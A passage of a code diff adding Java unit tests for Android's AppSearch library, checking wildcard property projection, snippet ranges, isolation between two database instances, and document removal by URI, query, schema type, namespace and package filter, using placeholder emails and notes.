+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"*", ["body", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(
+                                        SearchSpec.PROJECTION_SCHEMA_TYPE_WILDCARD,
+                                        ImmutableList.of("body", "to"))
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned with only the "body" and "to"
+        // properties. The note document should have been returned with only the "body" property.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_wildcardProjectionEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"*", []}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(
+                                        SearchSpec.PROJECTION_SCHEMA_TYPE_WILDCARD,
+                                        Collections.emptyList())
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email and note documents should have been returned without any properties.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_wildcardProjectionNonExistentType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(
+                                        new AppSearchSchema.Builder("Note")
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("title")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .addProperty(
+                                                        new StringPropertyConfig.Builder("body")
+                                                                .setCardinality(
+                                                                        PropertyConfig
+                                                                                .CARDINALITY_REQUIRED)
+                                                                .setIndexingType(
+                                                                        StringPropertyConfig
+                                                                                .INDEXING_TYPE_EXACT_TERMS)
+                                                                .setTokenizerType(
+                                                                        StringPropertyConfig
+                                                                                .TOKENIZER_TYPE_PLAIN)
+                                                                .build())
+                                                .build())
+                                .build())
+                .get();
+
+        // Index two documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument note =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("title", "Note title")
+                        .setPropertyString("body", "Note body")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email, note)
+                                .build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"*", ["body", "to"]}
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(
+                                        SearchSpec.PROJECTION_SCHEMA_TYPE_WILDCARD,
+                                        ImmutableList.of("body", "to"))
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+        // The email document should have been returned with only the "body" and "to"
+        // properties. The note document should have been returned with only the "body" property.
+        AppSearchEmail expectedEmail =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        GenericDocument expectedNote =
+                new GenericDocument.Builder<>("namespace", "uri2", "Note")
+                        .setCreationTimestampMillis(1000)
+                        .setPropertyString("body", "Note body")
+                        .build();
+        assertThat(documents).containsExactly(expectedNote, expectedEmail);
+    }
+
+    @Test
+    public void testQuery_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document to instance 1.
+        AppSearchEmail inEmail1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail1).build()));
+
+        // Index a document to instance 2.
+        AppSearchEmail inEmail2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(inEmail2).build()));
+
+        // Query for instance 1.
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(inEmail1);
+
+        // Query for instance 2.
+        searchResults =
+                mDb2.search(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(inEmail2);
+    }
+
+    @Test
+    public void testSnippet() throws Exception {
+        // Schema registration
+        // TODO(tytytyww) add property for long and  double.
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(genericSchema).build()).get();
+
+        // Index a document
+        GenericDocument document =
+                new GenericDocument.Builder<>("namespace", "uri", "Generic")
+                        .setPropertyString(
+                                "subject",
+                                "A commonly used fake word is foo. "
+                                        + "Another nonsense word that’s used a lot is bar")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(document).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.search(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .addFilterSchemas("Generic")
+                                .setSnippetCount(1)
+                                .setSnippetCountPerProperty(1)
+                                .setMaxSnippetSize(10)
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .build());
+        List<SearchResult> results = searchResults.getNextPage().get();
+        assertThat(results).hasSize(1);
+
+        List<SearchResult.MatchInfo> matchInfos = results.get(0).getMatches();
+        assertThat(matchInfos).isNotNull();
+        assertThat(matchInfos).hasSize(1);
+        SearchResult.MatchInfo matchInfo = matchInfos.get(0);
+        assertThat(matchInfo.getFullText())
+                .isEqualTo(
+                        "A commonly used fake word is foo. "
+                                + "Another nonsense word that’s used a lot is bar");
+        assertThat(matchInfo.getExactMatchRange())
+                .isEqualTo(new SearchResult.MatchRange(/*lower=*/ 29, /*upper=*/ 32));
+        assertThat(matchInfo.getExactMatch()).isEqualTo("foo");
+        assertThat(matchInfo.getSnippetRange())
+                .isEqualTo(new SearchResult.MatchRange(/*lower=*/ 26, /*upper=*/ 33));
+        assertThat(matchInfo.getSnippet()).isEqualTo("is foo.");
+    }
+
+    @Test
+    public void testRemove() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+        assertThat(doGet(mDb1, "namespace", "uri2")).hasSize(1);
+
+        // Delete the document
+        checkIsBatchResultSuccess(
+                mDb1.remove(new RemoveByUriRequest.Builder("namespace").addUris("uri1").build()));
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder("namespace")
+                                        .addUris("uri1", "uri2")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+
+        // Test if we delete a nonexistent URI.
+        AppSearchBatchResult<String, Void> deleteResult =
+                mDb1.remove(new RemoveByUriRequest.Builder("namespace").addUris("uri1").build())
+                        .get();
+
+        assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemoveByQuery() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("bar")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+        assertThat(doGet(mDb1, "namespace", "uri2")).hasSize(1);
+
+        // Delete the email 1 by query "foo"
+        mDb1.remove(
+                        "foo",
+                        new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder("namespace")
+                                        .addUris("uri1", "uri2")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+
+        // Delete the email 2 by query "bar"
+        mDb1.remove(
+                        "bar",
+                        new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+        getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("namespace").addUris("uri2").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri2").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemoveByQuery_packageFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+
+        // Try to delete email with query "foo", but restricted to a different package name.
+        // Won't work and email will still exist.
+        mDb1.remove(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterPackageNames("some.other.package")
+                                .build())
+                .get();
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+
+        // Delete the email by query "foo", restricted to the correct package this time.
+        mDb1.remove(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterPackageNames(
+                                        ApplicationProvider.getApplicationContext()
+                                                .getPackageName())
+                                .build())
+                .get();
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder("namespace")
+                                        .addUris("uri1", "uri2")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemove_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+
+        // Can't delete in the other instance.
+        AppSearchBatchResult<String, Void> deleteResult =
+                mDb2.remove(new RemoveByUriRequest.Builder("namespace").addUris("uri1").build())
+                        .get();
+        assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+
+        // Delete the document
+        checkIsBatchResultSuccess(
+                mDb1.remove(new RemoveByUriRequest.Builder("namespace").addUris("uri1").build()));
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("namespace").addUris("uri1").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Test if we delete a nonexistent URI.
+        deleteResult =
+                mDb1.remove(new RemoveByUriRequest.Builder("namespace").addUris("uri1").build())
+                        .get();
+        assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemoveByTypes() throws Exception {
+        // Schema registration
+        AppSearchSchema genericSchema = new AppSearchSchema.Builder("Generic").build();
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(genericSchema)
+                                .build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("namespace", "uri3", "Generic").build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2, document1)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1", "uri2", "uri3")).hasSize(3);
+
+        // Delete the email type
+        mDb1.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterSchemas(AppSearchEmail.SCHEMA_TYPE)
+                                .build())
+                .get();
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder("namespace")
+                                        .addUris("uri1", "uri2", "uri3")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getFailures().get("uri2").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getSuccesses().get("uri3")).isEqualTo(document1);
+    }
+
+    @Test
+    public void testRemoveByTypes_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+        assertThat(doGet(mDb2, "namespace", "uri2")).hasSize(1);
+
+        // Delete the email type in instance 1
+        mDb1.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterSchemas(AppSearchEmail.SCHEMA_TYPE)
+                                .build())
+                .get();
+
+        // Make sure it's really gone in instance 1
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("namespace").addUris("uri1").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Make sure it's still in instance 2.
+        getResult =
+                mDb2.getByUri(new GetByUriRequest.Builder("namespace").addUris("uri2").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+    }
+
+    @Test
+    public void testRemoveByNamespace() throws Exception {
+        // Schema registration
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("foo")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(AppSearchEmail.SCHEMA)
+                                .addSchemas(genericSchema)
+                                .build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("email", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("email", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("document", "uri3", "Generic")
+                        .setPropertyString("foo", "bar")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocuments(email1, email2, document1)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, /*namespace=*/ "email", "uri1", "uri2")).hasSize(2);
+        assertThat(doGet(mDb1, /*namespace=*/ "document", "uri3")).hasSize(1);
+
+        // Delete the email namespace
+        mDb1.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterNamespaces("email")
+                                .build())
+                .get();
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("email").addUris("uri1", "uri2").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getFailures().get("uri2").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("document").addUris("uri3").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri3")).isEqualTo(document1);
+    }
+
+    @Test
+    public void testRemoveByNamespaces_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("email", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("email", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, /*namespace=*/ "email", "uri1")).hasSize(1);
+        assertThat(doGet(mDb2, /*namespace=*/ "email", "uri2")).hasSize(1);
+
+        // Delete the email namespace in instance 1
+        mDb1.remove(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterNamespaces("email")
+                                .build())
+                .get();
+
+        // Make sure it's really gone in instance 1
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("email").addUris("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Make sure it's still in instance 2.
+        getResult =
+                mDb2.getByUri(new GetByUriRequest.Builder("email").addUris("uri2").build()).get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+    }
+
+    @Test
+    public void testRemoveAll_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("namespace", "uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("namespace", "uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email1).build()));
+        checkIsBatchResultSuccess(
+                mDb2.put(new PutDocumentsRequest.Builder().addGenericDocuments(email2).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+        assertThat(doGet(mDb2, "namespace", "uri2")).hasSize(1);
+
+        // Delete the all document in instance 1
+        mDb1.remove("", new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+
+        // Make sure it's really gone in instance 1
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder("namespace").addUris("uri1").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Make sure it's still in instance 2.
+        getResult =
+                mDb2.getByUri(new GetByUriRequest.Builder("namespace").addUris("uri2").build())
+                        .get();
